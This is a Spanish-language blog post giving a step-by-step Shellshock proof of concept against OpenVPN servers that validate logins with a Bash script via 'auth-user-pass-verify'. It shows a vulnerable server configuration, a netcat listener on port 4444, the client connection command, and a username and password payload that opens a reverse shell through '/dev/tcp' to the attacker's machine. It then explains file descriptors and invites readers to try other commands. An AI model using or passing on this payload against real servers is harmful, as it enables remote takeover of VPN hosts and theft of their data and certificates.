ShellShock PoC para OpenVPN

Hola estimados,

Siguiendo con el trending topic de ShellShock, nos dimos cuenta que los servidores basados en OpenVPN son vulnerables al problema del Bash.

OpenVPN posee varias opciones de configuración que pueden llamar comandos personalizados durante diferentes etapas del tunnel session. Muchos de estos comandos son llamados con variables de entorno, y algunas de las cuales pueden ser controladas por clientes de este. Una opción usada para la autenticación (username+password) es "auth-user-pass-verify". Si el script llamado usa un shell vulnerable, el cliente simplemente puede enviar el exploit con el payload modificando esos dos parámetros. Este vector de ataque, como podrán imaginar, puede resultar dañino.

Funciona así:

La opción ejecuta un script, definido por el administrador, mediante el interprete de línea de comandos para validar los nombres de usuario y contraseñas proporcionados por los clientes. Esto abre la posibilidad de que ciertos clientes envíen nombres de usuario y contraseñas formados maliciosamente, para explotar la vulnerabilidad Shellshock cuando esos datos sean pasados a Bash como cadenas. Diabólicamente genial... desde un punto de vista académico, claro está.

Configuremos un ejemplo. Si deseas saber como se instala un servidor con OpenVPN sigue este manual. Asumamos que el servidor tiene esta configuración en el archivo server.config:

1. ### server.conf
2. port 1194
3. proto udp
4. dev tun
5. client-cert-not-required      # Para que no pida certificados al cliente
6. auth-user-pass-verify /etc/openvpn/user.sh via-env
7. tmp-dir "/etc/openvpn/tmp"
8. ca ca.crt
9. cert testing.crt
10. key testing.key               # Este archivo debería mantenerse como secreto de estado
11. dh dh1024.pem
12. server 10.8.0.0 255.255.255.0 # IP y máscara de prueba
13. keepalive 10 120
14. comp-lzo
15. user nobody
16. group nogroup
17. persist-key
18. persist-tun
19. client-cert-not-required
20. plugin /usr/lib/openvpn/openvpn-auth-pam.so login
21. script-security 3
22. status openvpn-status.log
23. verb 3

Verificamos que tanto el usuario como la clave, puedan recibir literales de cadena como valores:

1. ### user.sh
2. #!/bin/bash
3. echo "$username"
4. echo "$password"

Iniciamos el servidor:

1. ### Inicio del servidor
2. openvpn tus_parametros_de_inicio

En un terminal aparte ponemos a escuchar con el NetCat, el puerto 4444:

1. ### terminal 1
2. nc -lp 4444

En un segundo terminal conectamos un cliente al servidor. Usaré la IP de ejemplo 10.10.0.52, además en el parámetro --ca estoy pasando un certificado (de todas formas no serviría puesto que arriba se configuró así):

1. ### terminal 2
2. sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca tuCertificado.cert --auth-nocache --comp-lzo

Acá viene la maña! Cuando nos pida usuario y clave, ponemos esto:

1. ### usuario && clave ambas son "shellshockeadas"
2. user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
3. pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &

Explicación

Aplicamos ShellShock a través de cada parámetro (username y password). Básicamente le dijimos al puerto (en /dev/tcp/xxx.xxx.xxx.xxx/4444) que switcheara los file descriptors. Bien, lección Linux 101:

La expresión "0>&1" proviene de un concepto llamado file descriptor, que es usado generalmente en sistemas operativos tipo POSIX. En la terminología de Microsoft Windows y en el contexto de la biblioteca stdio, se prefiere el término "manipulador de archivos" o "manipulador de ficheros", ya que es técnicamente un objeto diferente. En POSIX, un descriptor de archivo es un entero, específicamente del tipo int de C. Hay 3 descriptores de archivo estándar de POSIX que presumiblemente tiene cada proceso, salvo quizá los demonios:

Valor entero	Nombre
0	Entrada estándar (stdin)
1	Salida estándar (stdout)
2	Error estándar (stderr)

Una forma de referirse a ellas es usando, según el lenguaje de programación y el entorno letras mayúsculas o minúsculas, los nombres STDIN, STDOUT y STDERR.

El shell del sistema es el encargado, generalmente, de abrir esta entrada y conectarla con el terminal al que está asignado el programa, puesto que es el programa más usual para comunicarse con un operador. Acá convertimos el STDIN en STDOUT... ¿por qué?

STDOUT determina el destino del resultado de un programa o proceso, por defecto es la pantalla y se muestra el resultado en la consola de la terminal, sin embargo puede redirigirse hacia un archivo, por ejemplo. Si ya les pasó por la cabeza, si... es para hacernos del control del servidor en forma remota por medio del servicio OpenVPN.

Lo que queda es fijarse en el log, te mostrará una info muy interesante acerca del certificado y otras cosillas. Les dejo la inquietud rebotando en sus cabezas... tírense al agua y prueben otros comandos.

Nos vemos gente!